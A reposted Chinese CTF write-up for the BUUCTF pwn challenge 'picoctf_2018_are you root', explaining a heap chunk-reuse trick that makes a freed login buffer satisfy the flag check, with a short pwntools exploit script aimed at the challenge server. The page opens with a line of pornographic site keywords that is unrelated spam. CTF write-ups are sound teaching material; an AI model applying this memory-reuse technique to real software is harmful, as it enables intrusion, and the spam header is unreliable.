日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——picoctf_2018_are you root

發布時間:2024/4/17 编程问答 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——picoctf_2018_are you root 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——picoctf_2018_are you root

  • 題目地址:點這里

害,有點小燒腦子這道題. 又學習了幾個沒見過的C語言函數

peak小知識

  • strtok: 第一次使用時候,需要兩個參數從第一個參數開始,到第二個參數接斷并且返回.
  • strdup: malloc一個參數字符串大小的內存,并且將字符串拷貝進去.

正文

下面進入正文,首先checksec看下

再去IDA中看下, 好明顯的暗示

緊接著去看看代碼, 想要進入give-flag函數, 需要v6 不為0, 同時 *(v6 + 2) == 5

我們可以看到s和v10的距離是6, login加上一個空格的距離也是6

所以, v6就是我們后面輸入的字符串以及會申請同樣大小的內存空間

我們注意到, *v6會free掉, 如果我們申請的大小為0x10那么放在fastbin里面后,下次我們申請的話,仍然是該空間.

思路

利用login, 將我們想要的數據排列好, *(v6 + 2), 其實就是v6[2], 四個字節的每個數據
所以字符只需要是’aaaaaaaa’ + p32(0x5) + ‘aaaa’, 因為p32是4個字節剛好, 當然我們也可以是’aaaaaaaa’ + p64(0x5), 因為是小序端存儲, 所以四個字節讀取的時候也是5
注意大小應該是0x10, 這樣最好,可以百分百申請回來
將其釋放掉
重新申請回來這樣就不是 * v6指向它了而是v6指向它了

exploit

from pwn import *#p = process('./PicoCTF_2018_are_you_root') p = remote('node3.buuoj.cn',27037)p.sendlineafter('>','login ' + 'a'*0x8 + p32(0x5) + 'aaaa')p.sendlineafter('>','reset')p.sendlineafter('>','login aa') #這個aa可以隨便輸入,只要有并且不溢出就好p.sendlineafter('>','get-flag') p.interactive()

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——picoctf_2018_are you root的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。